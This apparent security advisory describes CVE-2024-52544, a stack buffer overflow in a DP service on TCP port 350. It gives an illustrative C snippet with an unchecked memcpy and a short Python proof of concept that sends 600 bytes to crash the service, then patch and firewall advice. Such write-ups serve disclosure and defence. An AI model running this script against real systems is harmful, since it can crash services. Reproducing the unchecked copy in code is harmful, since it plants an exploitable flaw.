A critical vulnerability has been discovered in the DP (Data Processing) service, tracked as CVE-2024-52544, that allows an unauthenticated attacker to trigger a stack-based buffer overflow on TCP port 350. A successful exploit of this vulnerability could potentially lead to remote code execution (RCE), allowing an attacker to gain unauthorized access to the system and execute arbitrary code. Fortunately, this vulnerability has been addressed and resolved in firmware version 2.800.000000.8.R.20241111.

Vulnerability Details

The stack-based buffer overflow vulnerability exists because the affected software does not properly validate and limit the size of user-supplied data before processing it. As a result, an attacker can send a specially crafted packet that triggers the overflow, potentially leading to RCE or other unintended consequences.

Here's a snippet of vulnerable code from the DP service

void process_packet(char *data, int data_len) {
  char buffer[512];
  
  // Copy data to buffer without checking data_len
  memcpy(buffer, data, data_len);
  
  // Process data ...
}

As shown above, the process_packet function copies data from the input data buffer to a local buffer with a fixed size of 512 bytes without checking the length of the input data. If an attacker sends a packet with a data length larger than 512 bytes, this will cause a buffer overflow and potentially overwrite the stack.

Exploit

An unauthenticated attacker can send a specially crafted packet to the DP Service on TCP port 350 to trigger the vulnerability. Here is an example of a Python script that demonstrates the exploit:

import socket

target_ip = '192.168.1.1'
port = 350
payload = b'A' * 600

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, port))
sock.send(payload)
sock.close()

This simple script establishes a connection to the target IP address on TCP port 350 and sends a specially crafted packet containing 600 "A" characters (x41 in hexadecimal). As the payload size is larger than the buffer capacity, it successfully triggers a stack-based buffer overflow.

Mitigation

To mitigate this vulnerability, users are advised to update their system firmware to version 2.800.000000.8.R.20241111, which includes the necessary fix. To update the firmware, download and install the firmware update from the manufacturer's website (Firmware Update Link).

Furthermore, system administrators should restrict access to TCP port 350 to trusted hosts or networks. This can be achieved by implementing proper firewall rules or access control lists.

Conclusion

CVE-2024-52544 is a critical stack-based buffer overflow vulnerability that could potentially lead to unauthorized access and arbitrary code execution in the affected DP Service. To protect against this vulnerability, users should update their firmware to the patched version and restrict access to the vulnerable service. It is crucial to stay updated on the latest security patches and recommendations to ensure the continued protection of critical systems and networks.

Timeline

Published on: 12/03/2024 18:15:15 UTC
Last modified on: 12/03/2024 21:15:07 UTC